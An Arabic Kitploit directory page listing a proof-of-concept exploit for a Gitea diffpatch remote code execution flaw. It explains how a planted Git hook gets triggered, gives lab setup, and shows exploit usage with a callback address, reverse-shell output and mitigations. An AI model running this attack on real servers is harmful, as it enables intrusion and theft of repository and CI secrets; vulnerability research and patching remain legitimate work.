Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-60004 — استغلال تلقائي لإثبات المفهوم لـ CVE-2026-60004، وهو ثغرة تنفيذ تعليمات عن بُعد (RCE) في خطاف Git الخاص بـ diffpatch في Gitea، تقوم بزرع خطاف بعد تغيير الفهرس للحصول على صدفة عكسية بصلاحيات حساب الخدمة. | Kitploit
أدوات/GitHubGitHub/yym8538/cve-2026-60004
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالأمن الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubyym8538/cve-2026-60004

CVE-2026-60004

استغلال تلقائي لإثبات المفهوم لـ CVE-2026-60004، وهو ثغرة تنفيذ تعليمات عن بُعد (RCE) في خطاف Git الخاص بـ diffpatch في Gitea، تقوم بزرع خطاف بعد تغيير الفهرس للحصول على صدفة عكسية بصلاحيات حساب الخدمة.

1منذ شهر واحدلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


نظرة عامة

CVE-2026-60004 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في Gitea. تقوم واجهة diffpatch بتطبيق رقعة (patch) مُقدَّمة باستخدام git apply --cached، والذي يُفترض أن يمسّ الفهرس (index) فقط ولا يكتب أي ملفات على القرص. من خلال إرسال نفس الرقعة مرتين، يُجبر المهاجم على حدوث تعارض add/add يُفعّل آلية الرجوع إلى الدمج الثلاثي (-3) في Git. يتجاهل هذا المسار الخيار --cached ويستخرج الملف إلى شجرة العمل. ولأن النسخة المؤقتة (temporary clone) هي مستودع عارٍ (bare)، فإن جذر شجرة العمل الخاصة به هو $GIT_DIR. لذلك فإن رقعة تُنشئ ملف قابلًا للتنفيذ تُثبّت خطاف Git حيًّا، يشغّله Git تلقائيًا عند التحديث التالي للفهرس — منفّذًا أوامر بحساب خدمة Gitea. تتطلب نقطة النهاية صلاحية الكتابة في المستودع، لكن التسجيل مُفعَّل افتراضيًا، لذا يمكن لأي مستخدم قادر على التسجيل وإنشاء مستودع الوصول إليها.

hooks/post-index-change

الإصدارات المتأثرة

الفئةالإصدار
معرّض للثغرةGitea 1.17 ≤ الإصدار ≤ 1.27.0
مُرقَّعGitea 1.27.1 أو أحدث

التأثير

  • تنفيذ تعليمات برمجية عن بُعد بحساب خدمة Gitea (git)
  • الوصول إلى جميع المستودعات المستضافة وأسرار CI وبيانات اعتماد قاعدة البيانات

البيئة

قم ببناء وتشغيل بيئة Gitea المعرّضة للثغرة. يُترك التسجيل مفتوحًا، ويأتي الخادم مزوّدًا بـ Git 2.32+، مما يُفعّل آلية الرجوع -3 التي يعتمد عليها الهجوم.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
الشرط المسبقالحالة في هذا المختبر
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ على الخادم (يُفعّل -3)2.54
التسجيل المفتوحمُفعَّل (افتراضي)
صلاحية الكتابة في المستودععبر حساب مُسجَّل ذاتيًا

إثبات المفهوم (PoC)

الاستغلال مؤتمت بالكامل عبر gitea_exploit.py. بوجود حساب قادر على إنشاء مستودع، فإنه يُنشئ المستودع الهدف، ويرسل نفس الرقعة بشكل متكرر حتى تُفعَّل آلية الرجوع -3 في Git، ويلتقط الـ reverse shell عبر مستمع مدمج — دون حاجة إلى إعداد يدوي أو صياغة رقعة أو حسابات blob-hash.

root@kitploit:~
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

لا تُفعَّل آلية الرجوع -3 إلا في نوافذ توقيت معينة، لذا تُكرّر السكربت عملية create → send → send حتى تنجح (افتراضيًا 25 محاولة). عندما يتوقف الإرسال، يكون الخطاف قد اشتغل ويُدخلك المستمع إلى صدفة (shell) بحساب git:

root@kitploit:~
[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

الخيارات:

  • --no-listen — لالتقاط الصدفة باستخدام nc خارجي خاص بك بدلًا من المستمع المدمج
  • --user / --pw / --repo / --branch — لتجاوز الحساب الافتراضي والمستودع الهدف

التخفيف

  • قم بترقية Gitea إلى 1.27.1 أو أحدث
  • عطّل التسجيل المفتوح إن لم يكن مطلوبًا (DISABLE_REGISTRATION=true)
  • قيّد من يمكنه الوصول إلى النسخة وإنشاء المستودعات

التحليل

  • KR: قريبًا!
  • EN:
تنزيل الأداة